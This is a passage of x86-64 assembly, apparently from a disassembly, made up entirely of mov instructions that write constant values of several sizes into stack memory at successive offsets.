mov qword [rsp + 0xb988], rax
movabs rax, 0x7ccd1bb2c634f0
mov qword [rsp + 0xb990], rax
mov dword [rsp + 0x5af4], 0xace9
mov eax, 0xc6b
mov word [rsp + 0x1684], ax
mov byte [rsp + 0x283], 0xf4
mov dword [rsp + 0x5af8], 0x2500
mov eax, 0x1d6
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x5afc], 0xc1b1
mov dword [rsp + 0x5b00], 0x34fd
mov byte [rsp + 0x284], 0x2d
mov eax, 0x14e
mov word [rsp + 0x168c], ax
movabs rax, 0x704adbc6c2a4a7
mov qword [rsp + 0xb998], rax
mov dword [rsp + 0x5b04], 0xed3b
mov byte [rsp + 0x285], 0x70
mov eax, 0x83
mov word [rsp + 0x1690], ax
mov byte [rsp + 0x286], 0xc1
mov dword [rsp + 0x5b08], 0xd22c
movabs rax, 0x752e2444046d9b
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x78187943364df6
mov qword [rsp + 0xb9a8], rax
mov dword [rsp + 0x5b0c], 0x8b74
mov byte [rsp + 0x287], 0xc2
mov byte [rsp + 0x288], 0xfa
movabs rax, 0x75475a82cee41a
mov qword [rsp + 0xb9b0], rax
mov dword [rsp + 0x5b10], 0x5592
movabs rax, 0x70fc1bf556d0a0
mov qword [rsp + 0xb9b8], rax
movabs rax, 0x72232eba7db921
mov qword [rsp + 0xb9c0], rax
movabs rax, 0x724ce175934bcc
mov qword [rsp + 0xb9c8], rax
mov byte [rsp + 0x289], 0xa1
mov dword [rsp + 0x5b14], 0x286
mov eax, 0x920
mov word [rsp + 0x1694], ax
movabs rax, 0x7a8248d90ad0ee
mov qword [rsp + 0xb9d0], rax
movabs rax, 0x767560e4771b7e
mov qword [rsp + 0xb9d8], rax
movabs rax, 0x7c90ad1230ac72
mov qword [rsp + 0xb9e0], rax
movabs rax, 0x771625eb306c5c
mov qword [rsp + 0xb9e8], rax
mov dword [rsp + 0x5b18], 0x7d1e
mov eax, 0xa28
mov word [rsp + 0x1698], ax
movabs rax, 0x7d3c7249d3b193
mov qword [rsp + 0xb9f0], rax
mov byte [rsp + 0x28a], 0x7a
mov eax, 0x4be
mov word [rsp + 0x169c], ax
movabs rax, 0x743a591f5a81dc
mov qword [rsp + 0xb9f8], rax
mov eax, 0x377
mov word [rsp + 0x16a0], ax
movabs rax, 0x79bf49e78885f6
mov qword [rsp + 0xba00], rax
mov dword [rsp + 0x5b1c], 0x2370
movabs rax, 0x70d4f9a74885d7
mov qword [rsp + 0xba08], rax
mov dword [rsp + 0x5b20], 0x616f
movabs rax, 0x71523c526e0a0a
mov qword [rsp + 0xba10], rax
mov byte [rsp + 0x28b], 0x7d
mov eax, 0x383
mov word [rsp + 0x16a4], ax
movabs rax, 0x7ce88706627762
mov qword [rsp + 0xba18], rax
movabs rax, 0x74813dce3fd578
mov qword [rsp + 0xba20], rax
mov dword [rsp + 0x5b24], 0xd6f9
mov dword [rsp + 0x5b28], 0x7b70
movabs rax, 0x7673b97e6a5468
mov qword [rsp + 0xba28], rax
mov eax, 0x5f0
mov word [rsp + 0x16a8], ax
mov eax, 0x710
mov word [rsp + 0x16ac], ax
mov byte [rsp + 0x28c], 0x53
mov eax, 0x9a8
mov word [rsp + 0x16b0], ax
mov eax, 0x4b0
mov word [rsp + 0x16b4], ax
mov dword [rsp + 0x5b2c], 0x160e
movabs rax, 0x71bfb4af78eefa
mov qword [rsp + 0xba30], rax
mov byte [rsp + 0x28d], 0xc7
mov eax, 0xd5b
mov word [rsp + 0x16b8], ax
mov eax, 0x124
mov word [rsp + 0x16bc], ax
movabs rax, 0x719a4ab48255bb
mov qword [rsp + 0xba38], rax
mov dword [rsp + 0x5b30], 0x3e48
mov dword [rsp + 0x5b34], 0xcc5e
mov byte [rsp + 0x28e], 0x7f
mov byte [rsp + 0x28f], 0xa
movabs rax, 0x75cae360d408bc
mov qword [rsp + 0xba40], rax
movabs rax, 0x78dc91e6ff3dc4
mov qword [rsp + 0xba48], rax
mov dword [rsp + 0x5b38], 0x7da1
mov byte [rsp + 0x290], 0xb9
movabs rax, 0x7d4c1095c3bbec
mov qword [rsp + 0xba50], rax
mov byte [rsp + 0x291], 0x5b
movabs rax, 0x7b050e2fda9dfd
mov qword [rsp + 0xba58], rax
movabs rax, 0x7993f1100a6ff0
mov qword [rsp + 0xba60], rax
movabs rax, 0x712a8b4607e1e5
mov qword [rsp + 0xba68], rax
movabs rax, 0x76e2bcc0bc0335
mov qword [rsp + 0xba70], rax
movabs rax, 0x77b06ecfb7b11f
mov qword [rsp + 0xba78], rax
mov eax, 0x188
mov word [rsp + 0x16c0], ax
movabs rax, 0x7d010176e19380
mov qword [rsp + 0xba80], rax
movabs rax, 0x73eeb229fb9878
mov qword [rsp + 0xba88], rax
mov dword [rsp + 0x5b3c], 0x32b5
mov eax, 0x5ec
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x5b40], 0xbeb2
movabs rax, 0x790d16564ff356
mov qword [rsp + 0xba90], rax
mov eax, 0xe8a
mov word [rsp + 0x16c8], ax
mov byte [rsp + 0x292], 0x34
mov dword [rsp + 0x5b44], 0x3a42
movabs rax, 0x72602e02bb4b18
mov qword [rsp + 0xba98], rax
mov dword [rsp + 0x5b48], 0xcd2
mov dword [rsp + 0x5b4c], 0x69f9
mov byte [rsp + 0x293], 0xf5
mov byte [rsp + 0x294], 0x90
mov dword [rsp + 0x5b50], 0x8a9d
mov eax, 0x7f5
mov word [rsp + 0x16cc], ax
movabs rax, 0x78e639be535e23
mov qword [rsp + 0xbaa0], rax
mov eax, 0x119
mov word [rsp + 0x16d0], ax
movabs rax, 0x7d8b4055dc4bd8
mov qword [rsp + 0xbaa8], rax
movabs rax, 0x760e9cf075dd73
mov qword [rsp + 0xbab0], rax
mov dword [rsp + 0x5b54], 0x41ed
movabs rax, 0x7033d42d82ad16
mov qword [rsp + 0xbab8], rax
movabs rax, 0x7a0ea10a5b5b56
mov qword [rsp + 0xbac0], rax
mov eax, 0x669
mov word [rsp + 0x16d4], ax
movabs rax, 0x7a4def83029388
mov qword [rsp + 0xbac8], rax
movabs rax, 0x7799a77fbb07f0
mov qword [rsp + 0xbad0], rax
movabs rax, 0x7abd9c7fbc0e23
mov qword [rsp + 0xbad8], rax
mov dword [rsp + 0x5b58], 0x2a88
movabs rax, 0x7242df59efdede
mov qword [rsp + 0xbae0], rax
mov eax, 0x70f
mov word [rsp + 0x16d8], ax
mov dword [rsp + 0x5b5c], 0xb41c
mov dword [rsp + 0x5b60], 0x19a2
mov dword [rsp + 0x5b64], 0x7a6a
movabs rax, 0x7c43da4cb9a000
mov qword [rsp + 0xbae8], rax
mov eax, 0xc20
mov word [rsp + 0x16dc], ax
mov byte [rsp + 0x295], 0x5c
mov eax, 0x932
mov word [rsp + 0x16e0], ax
mov byte [rsp + 0x296], 0x64
mov eax, 0x7a2
mov word [rsp + 0x16e4], ax
mov byte [rsp + 0x297], 0x74
mov dword [rsp + 0x5b68], 0x1685
mov dword [rsp + 0x5b6c], 0xd83d
mov eax, 0x27d
mov word [rsp + 0x16e8], ax
mov byte [rsp + 0x298], 0x2b
mov dword [rsp + 0x5b70], 0x2aa9
mov eax, 0x3c
mov word [rsp + 0x16ec], ax
mov eax, 0x31
mov word [rsp + 0x16f0], ax
mov eax, 0x3c6
mov word [rsp + 0x16f4], ax
mov dword [rsp + 0x5b74], 0xdbfb
movabs rax, 0x754ea77993adc5
mov qword [rsp + 0xbaf0], rax
mov eax, 0x42d
mov word [rsp + 0x16f8], ax
mov dword [rsp + 0x5b78], 0x1ebc
movabs rax, 0x7e310586832792
mov qword [rsp + 0xbaf8], rax
mov dword [rsp + 0x5b7c], 0x4147
mov dword [rsp + 0x5b80], 0x9ec
mov eax, 0xea3
mov word [rsp + 0x16fc], ax
movabs rax, 0x72b8b26738bbac
mov qword [rsp + 0xbb00], rax
mov dword [rsp + 0x5b84], 0x611e
mov dword [rsp + 0x5b88], 0x53d1
mov eax, 0xb1
mov word [rsp + 0x1700], ax
mov eax, 0x1d1
mov word [rsp + 0x1704], ax
movabs rax, 0x7462d7092fcc30
mov qword [rsp + 0xbb08], rax
mov dword [rsp + 0x5b8c], 0x1dc6
movabs rax, 0x770efe47e1eb3d
mov qword [rsp + 0xbb10], rax
mov dword [rsp + 0x5b90], 0x78a5
mov eax, 0x38c
mov word [rsp + 0x1708], ax
movabs rax, 0x719001df66eb09
mov qword [rsp + 0xbb18], rax
mov byte [rsp + 0x299], 0xbd
movabs rax, 0x7b1cb842320618
mov qword [rsp + 0xbb20], rax
mov byte [rsp + 0x29a], 0x33
mov dword [rsp + 0x5b94], 0x7670
mov eax, 0x44a
mov word [rsp + 0x170c], ax
mov dword [rsp + 0x5b98], 0x105f
movabs rax, 0x74a95d2b1ba232
mov qword [rsp + 0xbb28], rax
movabs rax, 0x7c9371b58d2db2
mov qword [rsp + 0xbb30], rax
movabs rax, 0x73616165424145
mov qword [rsp + 0xbb38], rax
movabs rax, 0x70f19c882adbc1
mov qword [rsp + 0xbb40], rax
movabs rax, 0x72886909daefce
mov qword [rsp + 0xbb48], rax
mov dword [rsp + 0x5b9c], 0x6797
movabs rax, 0x70b944cc1658f1
mov qword [rsp + 0xbb50], rax
mov eax, 0x8c
mov word [rsp + 0x1710], ax
mov eax, 0xaef
mov word [rsp + 0x1714], ax
movabs rax, 0x7a9ff0369e3df4
mov qword [rsp + 0xbb58], rax
mov byte [rsp + 0x29b], 0xcc
mov byte [rsp + 0x29c], 0x6e
movabs rax, 0x795eafba575c89
mov qword [rsp + 0xbb60], rax
mov eax, 0x40a
mov word [rsp + 0x1718], ax
mov eax, 0xed8
mov word [rsp + 0x171c], ax
mov eax, 0x734
mov word [rsp + 0x1720], ax
mov eax, 0x5ea
mov word [rsp + 0x1724], ax
mov eax, 0xb1a
mov word [rsp + 0x1728], ax
mov byte [rsp + 0x29d], 4
mov byte [rsp + 0x29e], 0xd
mov dword [rsp + 0x5ba0], 0xa814
movabs rax, 0x79faf7b4080079
mov qword [rsp + 0xbb68], rax
mov eax, 0xce3
mov word [rsp + 0x172c], ax
mov byte [rsp + 0x29f], 0xc8
mov byte [rsp + 0x2a0], 0x18
mov byte [rsp + 0x2a1], 0xe4
mov byte [rsp + 0x2a2], 0x77
mov eax, 0xf62
mov word [rsp + 0x1730], ax
movabs rax, 0x75e070a84b7fe5
mov qword [rsp + 0xbb70], rax
movabs rax, 0x71b4252837abbd
mov qword [rsp + 0xbb78], rax
mov byte [rsp + 0x2a3], 0x75
mov eax, 0xf13
mov word [rsp + 0x1734], ax
movabs rax, 0x73418344c6cb55
mov qword [rsp + 0xbb80], rax
mov dword [rsp + 0x5ba4], 0x2465
mov eax, 0xef
mov word [rsp + 0x1738], ax
mov dword [rsp + 0x5ba8], 0x55a5
mov eax, 0x6ad
mov word [rsp + 0x173c], ax
mov eax, 0x65c
mov word [rsp + 0x1740], ax
mov eax, 0x9d3
mov word [rsp + 0x1744], ax
mov eax, 0x4bb
mov word [rsp + 0x1748], ax
mov dword [rsp + 0x5bac], 0x596c
mov eax, 0x495
mov word [rsp + 0x174c], ax
movabs rax, 0x74eafdc398ad52
mov qword [rsp + 0xbb88], rax
movabs rax, 0x71a7db1be86806
mov qword [rsp + 0xbb90], rax
mov dword [rsp + 0x5bb0], 0x7ce1
mov dword [rsp + 0x5bb4], 0x45ea
movabs rax, 0x758ed71b8c54c1
mov qword [rsp + 0xbb98], rax
mov eax, 0x57b
mov word [rsp + 0x1750], ax
mov byte [rsp + 0x2a4], 0x46
mov byte [rsp + 0x2a5], 0x45
mov dword [rsp + 0x5bb8], 0xde88
movabs rax, 0x7e1aad80a334fe
mov qword [rsp + 0xbba0], rax
mov byte [rsp + 0x2a6], 0x58
mov eax, 0x396
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x2a7], 0x47
movabs rax, 0x76a53abd4a98da
mov qword [rsp + 0xbba8], rax
mov dword [rsp + 0x5bbc], 0x5b63
mov byte [rsp + 0x2a8], 0xa
mov dword [rsp + 0x5bc0], 0x2d41
mov dword [rsp + 0x5bc4], 0x108d
movabs rax, 0x77b325069feea0
mov qword [rsp + 0xbbb0], rax
mov dword [rsp + 0x5bc8], 0x274e
mov dword [rsp + 0x5bcc], 0x6b1
mov eax, 0x33b
mov word [rsp + 0x1758], ax
mov eax, 0x5a8
mov word [rsp + 0x175c], ax
mov byte [rsp + 0x2a9], 0xd3
mov eax, 0x499
mov word [rsp + 0x1760], ax
mov dword [rsp + 0x5bd0], 0x22b9
mov eax, 0xa51
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x5bd4], 0x5d7a
mov byte [rsp + 0x2aa], 0x61
movabs rax, 0x7cd57d47737ecb
mov qword [rsp + 0xbbb8], rax
mov eax, 0x624
mov word [rsp + 0x1768], ax
mov eax, 0x134
mov word [rsp + 0x176c], ax
movabs rax, 0x76ba4e89898198
mov qword [rsp + 0xbbc0], rax
mov dword [rsp + 0x5bd8], 0x232d
mov dword [rsp + 0x5bdc], 0xf317
mov dword [rsp + 0x5be0], 0x53ee
mov dword [rsp + 0x5be4], 0x76e7
mov dword [rsp + 0x5be8], 0x17fe
movabs rax, 0x7199dc39b03c8c
mov qword [rsp + 0xbbc8], rax
movabs rax, 0x767d5374eb56e8
mov qword [rsp + 0xbbd0], rax
movabs rax, 0x78ddfba0d505be
mov qword [rsp + 0xbbd8], rax
mov eax, 0x5d1
mov word [rsp + 0x1770], ax
movabs rax, 0x7333131fd334a8
mov qword [rsp + 0xbbe0], rax
mov dword [rsp + 0x5bec], 0x8201
movabs rax, 0x798cf305fe37d0
mov qword [rsp + 0xbbe8], rax
movabs rax, 0x7873a89dbe2b17
mov qword [rsp + 0xbbf0], rax
movabs rax, 0x751b4205b4b48a
mov qword [rsp + 0xbbf8], rax
movabs rax, 0x78bcbe9de3cb9c
mov qword [rsp + 0xbc00], rax
mov eax, 0x70b
mov word [rsp + 0x1774], ax
mov dword [rsp + 0x5bf0], 0x9254
movabs rax, 0x7ea0b145d65947
mov qword [rsp + 0xbc08], rax
movabs rax, 0x74123de8cd5da6
mov qword [rsp + 0xbc10], rax
mov dword [rsp + 0x5bf4], 0xa14f
movabs rax, 0x7737fdf839ddff
mov qword [rsp + 0xbc18], rax
mov dword [rsp + 0x5bf8], 0x40c8
mov eax, 0x660
mov word [rsp + 0x1778], ax
mov eax, 0x2a2
mov word [rsp + 0x177c], ax
mov dword [rsp + 0x5bfc], 0xd610
movabs rax, 0x7832c83af7976b
mov qword [rsp + 0xbc20], rax
mov dword [rsp + 0x5c00], 0xadf
mov dword [rsp + 0x5c04], 0x5615
mov byte [rsp + 0x2ab], 0x63
mov eax, 0x5c7
mov word [rsp + 0x1780], ax
mov eax, 0x741
mov word [rsp + 0x1784], ax
mov dword [rsp + 0x5c08], 0x2a88
mov byte [rsp + 0x2ac], 0xd7
mov dword [rsp + 0x5c0c], 0x4423
mov eax, 0x34e
mov word [rsp + 0x1788], ax
mov dword [rsp + 0x5c10], 0x36f1
movabs rax, 0x71003dfd06f232
mov qword [rsp + 0xbc28], rax
movabs rax, 0x7ab2eeed4e2967
mov qword [rsp + 0xbc30], rax
mov eax, 0x3ca
mov word [rsp + 0x178c], ax
movabs rax, 0x74f043ff6f3d19
mov qword [rsp + 0xbc38], rax
mov eax, 0x7b2
mov word [rsp + 0x1790], ax
mov eax, 0x5d5
mov word [rsp + 0x1794], ax
mov dword [rsp + 0x5c14], 0x1766
movabs rax, 0x7a9435703f022b
mov qword [rsp + 0xbc40], rax
mov eax, 0x409
mov word [rsp + 0x1798], ax
movabs rax, 0x703932c5d12f3e
mov qword [rsp + 0xbc48], rax
mov dword [rsp + 0x5c18], 0x1bcc
mov eax, 0xb41
mov word [rsp + 0x179c], ax
movabs rax, 0x79c7f1676fb39c
mov qword [rsp + 0xbc50], rax
mov byte [rsp + 0x2ad], 0x28
mov byte [rsp + 0x2ae], 0x11
movabs rax, 0x7c00101bdaeb1f
mov qword [rsp + 0xbc58], rax
mov eax, 0x3b2
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x5c1c], 0x81b4
mov dword [rsp + 0x5c20], 0x5662
mov dword [rsp + 0x5c24], 0x8fb6
mov dword [rsp + 0x5c28], 0x8e06
mov eax, 0x360
mov word [rsp + 0x17a4], ax
movabs rax, 0x78f1e0920b9b30
mov qword [rsp + 0xbc60], rax
mov eax, 0xeb3
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x5c2c], 0x843
mov eax, 0x31b
mov word [rsp + 0x17ac], ax
movabs rax, 0x7625ed3033de8f
mov qword [rsp + 0xbc68], rax
movabs rax, 0x790fefd82b55b8
mov qword [rsp + 0xbc70], rax
movabs rax, 0x79c15b3436d291
mov qword [rsp + 0xbc78], rax
mov byte [rsp + 0x2af], 0xdb
movabs rax, 0x7e282494430d43
mov qword [rsp + 0xbc80], rax
movabs rax, 0x77bae207d2230d
mov qword [rsp + 0xbc88], rax
mov eax, 0x2bb
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x5c30], 0xdd35
mov eax, 0x1a4
mov word [rsp + 0x17b4], ax
movabs rax, 0x7e47b8ae230c54
mov qword [rsp + 0xbc90], rax
mov eax, 0x6ee
mov word [rsp + 0x17b8], ax
mov eax, 0x644
mov word [rsp + 0x17bc], ax
movabs rax, 0x732b2198d9886a
mov qword [rsp + 0xbc98], rax
mov byte [rsp + 0x2b0], 0x50
movabs rax, 0x70a2783db7ade9
mov qword [rsp + 0xbca0], rax
mov dword [rsp + 0x5c34], 0x7813
mov dword [rsp + 0x5c38], 0xd2c4
mov dword [rsp + 0x5c3c], 0x1c28
mov byte [rsp + 0x2b1], 0x99
mov eax, 0x307
mov word [rsp + 0x17c0], ax
mov byte [rsp + 0x2b2], 0xf7
movabs rax, 0x794c03552432b8
mov qword [rsp + 0xbca8], rax
movabs rax, 0x70b84acd246772
mov qword [rsp + 0xbcb0], rax
movabs rax, 0x7dc77885df8762
mov qword [rsp + 0xbcb8], rax
movabs rax, 0x73360292eb3c9d
mov qword [rsp + 0xbcc0], rax
mov byte [rsp + 0x2b3], 0xf1
mov byte [rsp + 0x2b4], 0x1c
movabs rax, 0x79f9645bb955cd
mov qword [rsp + 0xbcc8], rax
mov byte [rsp + 0x2b5], 0x1b
movabs rax, 0x72b2ccad1c594a
mov qword [rsp + 0xbcd0], rax
movabs rax, 0x76be0cf2b4303a
mov qword [rsp + 0xbcd8], rax
mov byte [rsp + 0x2b6], 1
mov dword [rsp + 0x5c40], 0xebeb
mov eax, 0x214
mov word [rsp + 0x17c4], ax
mov dword [rsp + 0x5c44], 0x989a
mov dword [rsp + 0x5c48], 0xb431
mov byte [rsp + 0x2b7], 0xa2
movabs rax, 0x72a53ed661ba39
mov qword [rsp + 0xbce0], rax
mov eax, 0x96b
mov word [rsp + 0x17c8], ax
movabs rax, 0x78eb9dc26b405f
mov qword [rsp + 0xbce8], rax
mov byte [rsp + 0x2b8], 0x33
mov dword [rsp + 0x5c4c], 0x84af
mov dword [rsp + 0x5c50], 0x4307
mov byte [rsp + 0x2b9], 0x7d
movabs rax, 0x701ccf5f147892
mov qword [rsp + 0xbcf0], rax
mov eax, 0x458
mov word [rsp + 0x17cc], ax
movabs rax, 0x77c65a916774c3
mov qword [rsp + 0xbcf8], rax
mov byte [rsp + 0x2ba], 0xad
mov dword [rsp + 0x5c54], 0x6b9b
mov dword [rsp + 0x5c58], 0xf07
movabs rax, 0x7c807aa3537df1
mov qword [rsp + 0xbd00], rax
mov eax, 0x4ab
mov word [rsp + 0x17d0], ax
movabs rax, 0x756da734b3cba3
mov qword [rsp + 0xbd08], rax
mov byte [rsp + 0x2bb], 0x25
movabs rax, 0x796915103896c1
mov qword [rsp + 0xbd10], rax
movabs rax, 0x7b58def0de94a9
mov qword [rsp + 0xbd18], rax
movabs rax, 0x7e76495265d66f
mov qword [rsp + 0xbd20], rax
mov dword [rsp + 0x5c5c], 0x172f
movabs rax, 0x74eab722c7755a
mov qword [rsp + 0xbd28], rax
mov dword [rsp + 0x5c60], 0x730e
mov eax, 0xf80
mov word [rsp + 0x17d4], ax
mov byte [rsp + 0x2bc], 0x38
mov byte [rsp + 0x2bd], 0xbb
mov dword [rsp + 0x5c64], 0x7717
movabs rax, 0x7b642618d00b1e
mov qword [rsp + 0xbd30], rax
mov eax, 0xa7d
mov word [rsp + 0x17d8], ax
mov eax, 0x182
mov word [rsp + 0x17dc], ax
movabs rax, 0x775d5ddd2939de
mov qword [rsp + 0xbd38], rax
mov dword [rsp + 0x5c68], 0x5cac
movabs rax, 0x78a9c619cf68b4
mov qword [rsp + 0xbd40], rax
mov byte [rsp + 0x2be], 0x45
movabs rax, 0x73a68a4dd40f07
mov qword [rsp + 0xbd48], rax
mov eax, 0xb35
mov word [rsp + 0x17e0], ax
mov dword [rsp + 0x5c6c], 0xd084
movabs rax, 0x7dfe6adc439379
mov qword [rsp + 0xbd50], rax
mov eax, 0x1d5
mov word [rsp + 0x17e4], ax
movabs rax, 0x7a72d69b719935
mov qword [rsp + 0xbd58], rax
mov dword [rsp + 0x5c70], 0x2acf
mov eax, 0x4d
mov word [rsp + 0x17e8], ax
movabs rax, 0x70384e5354dbbe
mov qword [rsp + 0xbd60], rax
mov byte [rsp + 0x2bf], 0xf4
movabs rax, 0x77fb0159e08194
mov qword [rsp + 0xbd68], rax
mov dword [rsp + 0x5c74], 0x32e9
mov byte [rsp + 0x2c0], 0xa6
mov eax, 0x45b
mov word [rsp + 0x17ec], ax
mov byte [rsp + 0x2c1], 0x9f
mov dword [rsp + 0x5c78], 0x4958
mov byte [rsp + 0x2c2], 0x44
movabs rax, 0x73ce2d8f0e51d4
mov qword [rsp + 0xbd70], rax
movabs rax, 0x7aa3e96d60380f
mov qword [rsp + 0xbd78], rax
mov eax, 0xcba
mov word [rsp + 0x17f0], ax
mov byte [rsp + 0x2c3], 0x7a
mov eax, 0x927
mov word [rsp + 0x17f4], ax
movabs rax, 0x7db935c698ae5f
mov qword [rsp + 0xbd80], rax
mov eax, 0xd9b
mov word [rsp + 0x17f8], ax
mov eax, 0x498
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x5c7c], 0x150e
mov eax, 0xbac
mov word [rsp + 0x1800], ax
mov eax, 0xb56
mov word [rsp + 0x1804], ax
mov eax, 0x70b
mov word [rsp + 0x1808], ax
mov eax, 0x7f2
mov word [rsp + 0x180c], ax
mov byte [rsp + 0x2c4], 0x12
mov byte [rsp + 0x2c5], 0x66
movabs rax, 0x70feea63a66ffd
mov qword [rsp + 0xbd88], rax
movabs rax, 0x7b10c55765ae1f
mov qword [rsp + 0xbd90], rax
mov byte [rsp + 0x2c6], 0x4e
movabs rax, 0x7e6a38e76ded2b
mov qword [rsp + 0xbd98], rax
mov byte [rsp + 0x2c7], 0x52
mov byte [rsp + 0x2c8], 0x23
mov byte [rsp + 0x2c9], 0x6f
mov dword [rsp + 0x5c80], 0x7f72
movabs rax, 0x764e57a30fcdf5
mov qword [rsp + 0xbda0], rax
movabs rax, 0x75805b198a4db5
mov qword [rsp + 0xbda8], rax
movabs rax, 0x7d7ab40473879a
mov qword [rsp + 0xbdb0], rax
movabs rax, 0x77d72749399936
mov qword [rsp + 0xbdb8], rax
mov byte [rsp + 0x2ca], 0xfe
mov eax, 0xc97
mov word [rsp + 0x1810], ax
movabs rax, 0x77cab5f38b8f94
mov qword [rsp + 0xbdc0], rax
mov byte [rsp + 0x2cb], 0xa7
mov eax, 0xaf2
mov word [rsp + 0x1814], ax
mov eax, 0x433
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x5c84], 0x5122
movabs rax, 0x7524e99420bd5f
mov qword [rsp + 0xbdc8], rax
movabs rax, 0x782edaae894c59
mov qword [rsp + 0xbdd0], rax
mov eax, 0x8f2
mov word [rsp + 0x181c], ax
mov byte [rsp + 0x2cc], 0xc4
mov byte [rsp + 0x2cd], 0x29
movabs rax, 0x7c19addab7c207
mov qword [rsp + 0xbdd8], rax
mov dword [rsp + 0x5c88], 0x2375
mov dword [rsp + 0x5c8c], 0x3111
mov eax, 0x3a0
mov word [rsp + 0x1820], ax
movabs rax, 0x7c2c53cddb51d1
mov qword [rsp + 0xbde0], rax
mov dword [rsp + 0x5c90], 0x3b2d
mov dword [rsp + 0x5c94], 0x4db5
mov eax, 0x432
mov word [rsp + 0x1824], ax
mov byte [rsp + 0x2ce], 0x7d
mov dword [rsp + 0x5c98], 0x272c
movabs rax, 0x731a9d888d5ad1
mov qword [rsp + 0xbde8], rax
mov byte [rsp + 0x2cf], 0x16
mov dword [rsp + 0x5c9c], 0x91fb
mov eax, 0xa81
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x5ca0], 0xf90e
mov byte [rsp + 0x2d0], 0x12
movabs rax, 0x706e57da04758a
mov qword [rsp + 0xbdf0], rax
mov dword [rsp + 0x5ca4], 0x4ada
mov eax, 0x6da
mov word [rsp + 0x182c], ax
mov eax, 0x244
mov word [rsp + 0x1830], ax
mov eax, 0x41
mov word [rsp + 0x1834], ax
mov dword [rsp + 0x5ca8], 0x59a0
mov eax, 0x324
mov word [rsp + 0x1838], ax
mov eax, 0xab0
mov word [rsp + 0x183c], ax
mov byte [rsp + 0x2d1], 0x2f
mov dword [rsp + 0x5cac], 0x7dca
mov byte [rsp + 0x2d2], 0x2b
mov byte [rsp + 0x2d3], 0xac
mov eax, 0x579
mov word [rsp + 0x1840], ax
movabs rax, 0x70160e1c908526
mov qword [rsp + 0xbdf8], rax
movabs rax, 0x74e036266fbc09
mov qword [rsp + 0xbe00], rax
mov byte [rsp + 0x2d4], 0x3f
mov dword [rsp + 0x5cb0], 0x5972
movabs rax, 0x71c466c58d195b
mov qword [rsp + 0xbe08], rax
mov dword [rsp + 0x5cb4], 0x4d1a
mov byte [rsp + 0x2d5], 0x37
movabs rax, 0x778cf66444a8aa
mov qword [rsp + 0xbe10], rax
mov eax, 0xd61
mov word [rsp + 0x1844], ax
movabs rax, 0x79b6a9ceafcbd3
mov qword [rsp + 0xbe18], rax
mov dword [rsp + 0x5cb8], 0x81bb
movabs rax, 0x7bb08c7389c4ea
mov qword [rsp + 0xbe20], rax
movabs rax, 0x712aed6609aa2c
mov qword [rsp + 0xbe28], rax
mov dword [rsp + 0x5cbc], 0x5eac
mov byte [rsp + 0x2d6], 0xd3
mov byte [rsp + 0x2d7], 0x9b
mov eax, 0x674
mov word [rsp + 0x1848], ax
mov byte [rsp + 0x2d8], 0x49
movabs rax, 0x7344c69007b5d1
mov qword [rsp + 0xbe30], rax
movabs rax, 0x7260d75ff3765c
mov qword [rsp + 0xbe38], rax
mov dword [rsp + 0x5cc0], 0x5364
mov dword [rsp + 0x5cc4], 0x5ebb
movabs rax, 0x7d226091f0c7be
mov qword [rsp + 0xbe40], rax
mov eax, 0xebf
mov word [rsp + 0x184c], ax
mov dword [rsp + 0x5cc8], 0x41f0
mov byte [rsp + 0x2d9], 0x1b
mov eax, 0x637
mov word [rsp + 0x1850], ax
movabs rax, 0x78b16ae6f4d3fa
mov qword [rsp + 0xbe48], rax
movabs rax, 0x7da1bbcfdc6f84
mov qword [rsp + 0xbe50], rax
movabs rax, 0x71ef40d12ebe35
mov qword [rsp + 0xbe58], rax
movabs rax, 0x7566e5bb6e89b9
mov qword [rsp + 0xbe60], rax
movabs rax, 0x7513876fbc87ad
mov qword [rsp + 0xbe68], rax
mov eax, 0xa35
mov word [rsp + 0x1854], ax
mov eax, 0x35c
mov word [rsp + 0x1858], ax
movabs rax, 0x758f18074b40cf
mov qword [rsp + 0xbe70], rax
mov dword [rsp + 0x5ccc], 0x3655
movabs rax, 0x78f8dfa47b658b
mov qword [rsp + 0xbe78], rax
mov eax, 0x30c
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x5cd0], 0x42e6
movabs rax, 0x736148038a5d95
mov qword [rsp + 0xbe80], rax
mov dword [rsp + 0x5cd4], 0xb240
mov eax, 0x6b7
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x2da], 0x62
mov eax, 0xb2
mov word [rsp + 0x1864], ax
movabs rax, 0x7d6ea8d66e6569
mov qword [rsp + 0xbe88], rax
mov byte [rsp + 0x2db], 6
movabs rax, 0x78665a4ed79685
mov qword [rsp + 0xbe90], rax
mov byte [rsp + 0x2dc], 0x22
mov eax, 0x5fd
mov word [rsp + 0x1868], ax
mov eax, 0x412
mov word [rsp + 0x186c], ax
movabs rax, 0x79c2433e3f220e
mov qword [rsp + 0xbe98], rax
mov dword [rsp + 0x5cd8], 0x77c
mov byte [rsp + 0x2dd], 0x24
mov dword [rsp + 0x5cdc], 0x6298
mov byte [rsp + 0x2de], 0xac
movabs rax, 0x7d6d953ce53aed
mov qword [rsp + 0xbea0], rax
movabs rax, 0x7b0d8d70470e00
mov qword [rsp + 0xbea8], rax
mov dword [rsp + 0x5ce0], 0x2c04
movabs rax, 0x74cd39bab374d7
mov qword [rsp + 0xbeb0], rax
mov dword [rsp + 0x5ce4], 0x5c7b
movabs rax, 0x7a275a5356d2a9
mov qword [rsp + 0xbeb8], rax
mov eax, 0x2ff
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x5ce8], 0x542c
mov byte [rsp + 0x2df], 0x93
movabs rax, 0x76d98255c6de15
mov qword [rsp + 0xbec0], rax
movabs rax, 0x722fde2d7f014d
mov qword [rsp + 0xbec8], rax
mov byte [rsp + 0x2e0], 0x46
mov dword [rsp + 0x5cec], 0xf1df
mov dword [rsp + 0x5cf0], 0x1cb5
mov eax, 0x633
mov word [rsp + 0x1874], ax
mov eax, 0x892
mov word [rsp + 0x1878], ax
movabs rax, 0x7baf165feda592
mov qword [rsp + 0xbed0], rax
mov dword [rsp + 0x5cf4], 0x7d50
